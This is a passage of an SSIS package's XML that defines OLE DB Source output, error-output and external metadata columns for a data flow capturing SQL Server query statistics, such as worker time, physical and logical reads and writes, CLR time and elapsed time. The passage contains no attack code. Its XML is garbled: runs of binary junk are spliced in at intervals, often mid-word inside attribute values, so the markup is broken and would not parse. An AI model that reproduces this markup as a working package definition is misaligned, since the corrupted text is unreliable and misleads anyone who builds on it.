sortKeyPosition="2" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[creation_time]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[creation_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[creation_time]" name="creation_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[last_execution_time]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[last_execution_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[last_execution_time]" name="last_execution_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[execution_count]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[execution_count]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB S	!!!!!!!!!!!!!!!!!!!!!!!!`9)xţHvource Output].Columns[execution_count]" name="execution_count" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_worker_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[total_worker_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_worker_time]" name="total_worker_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_worker_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[min_worker_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_worker_time]" name="min_worker_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_worker_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[max_worker_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_worker_time]" name="max_worker_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_physical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[total_physical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_physical_reads]" name="total_physical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_physical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[min_physical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB So	!!!!!!!!!!!!!!!!!!!!!!!!`9-҄Hvurce Output].Columns[min_physical_reads]" name="min_physical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_physical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[max_physical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_physical_reads]" name="max_physical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_logical_writes]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[total_logical_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_logical_writes]" name="total_logical_writes" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_logical_writes]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[min_logical_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_logical_writes]" name="min_logical_writes" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_logical_writes]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[max_logical_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_logical_writes]" name="max_logical_writes" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_logical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[total_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snaps	!!!!!!!!!!!!!!!!!!!!!!!!`9Hvhot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_logical_reads]" name="total_logical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_logical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[min_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_logical_reads]" name="min_logical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_logical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[max_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_logical_reads]" name="max_logical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_clr_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[total_clr_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_clr_time]" name="total_clr_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_clr_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[min_clr_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_clr_time]" name="min_clr_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_clr_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[max_clr_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB 	!!!!!!!!!!!!!!!!!!!!!!!!`9ZoHvSource Output].Columns[max_clr_time]" name="max_clr_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_elapsed_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[total_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_elapsed_time]" name="total_elapsed_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_elapsed_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[min_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_elapsed_time]" name="min_elapsed_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_elapsed_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[max_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_elapsed_time]" name="max_elapsed_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[collection_time]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[collection_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[collection_time]" name="collection_time" truncationRowDisposition="FailComponent"/></outputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[sql_handle]" dataType="bytes" length="64" name="sql_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[statement_start_offset]" dataType="i4" name="statement_start_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query	!!!!!!!!!!!!!!!!!!!!!!!!`9	IHv plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[statement_end_offset]" dataType="i4" name="statement_end_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[plan_generation_num]" dataType="i8" name="plan_generation_num"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[plan_handle]" dataType="bytes" length="64" name="plan_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[creation_time]" dataType="dbTimeStamp" name="creation_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[last_execution_time]" dataType="dbTimeStamp" name="last_execution_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[execution_count]" dataType="i8" name="execution_count"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[total_worker_time]" dataType="i8" name="total_worker_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[min_worker_time]" dataType="i8" name="min_worker_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[max_worker_time]" dataType="i8" name="max_worker_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[total_physical_reads]" dataType="i8" name="total_physical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[min_physical_reads]" dataType="i8" name="min_physical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[max_physical_reads]" dataType="i8" name="max_physical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[total_logical_writes]" dataType="i8" name="total_logical_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[min_logical_writes]" dataType="i8" name="min_logical_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[max_logical_writes]" dataType="i8" name="ma	!!!!!!!!!!!!!!!!!!!!!!!!`9
L>Hvx_logical_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[total_logical_reads]" dataType="i8" name="total_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[min_logical_reads]" dataType="i8" name="min_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[max_logical_reads]" dataType="i8" name="max_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[total_clr_time]" dataType="i8" name="total_clr_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[min_clr_time]" dataType="i8" name="min_clr_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[max_clr_time]" dataType="i8" name="max_clr_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[total_elapsed_time]" dataType="i8" name="total_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[min_elapsed_time]" dataType="i8" name="min_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[max_elapsed_time]" dataType="i8" name="max_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[collection_time]" dataType="dbTimeStamp" name="collection_time"/></externalMetadataColumns></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output]" isErrorOut="true" name="OLE DB Source Error Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[sql_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[sql_handle]" name="sql_handle"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[statement_start_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[statement_start_offset]" name="statement_start_offset"/><outputColumn refId="Package\SEQ - Capture and 	!!!!!!!!!!!!!!!!!!!!!!!!`9%pƦHvanalyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[statement_end_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[statement_end_offset]" name="statement_end_offset"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[plan_generation_num]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[plan_generation_num]" name="plan_generation_num"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[plan_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[plan_handle]" name="plan_handle"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[creation_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[creation_time]" name="creation_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[last_execution_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[last_execution_time]" name="last_execution_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[execution_count]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[execution_count]" name="execution_count"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[total_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[total_worker_time]" name="total_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[min_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[min_worker_time]" name="min_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[max_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze q	!!!!!!!!!!!!!!!!!!!!!!!!`9)zHvuery statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[max_worker_time]" name="max_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[total_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[total_physical_reads]" name="total_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[min_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[min_physical_reads]" name="min_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[max_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[max_physical_reads]" name="max_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[total_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[total_logical_writes]" name="total_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[min_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[min_logical_writes]" name="min_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[max_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[max_logical_writes]" name="max_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[total_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[total_logical_reads]" name="total_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[min_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[min_logical_reads]" name="min_logical_reads"/><outputColumn refId="	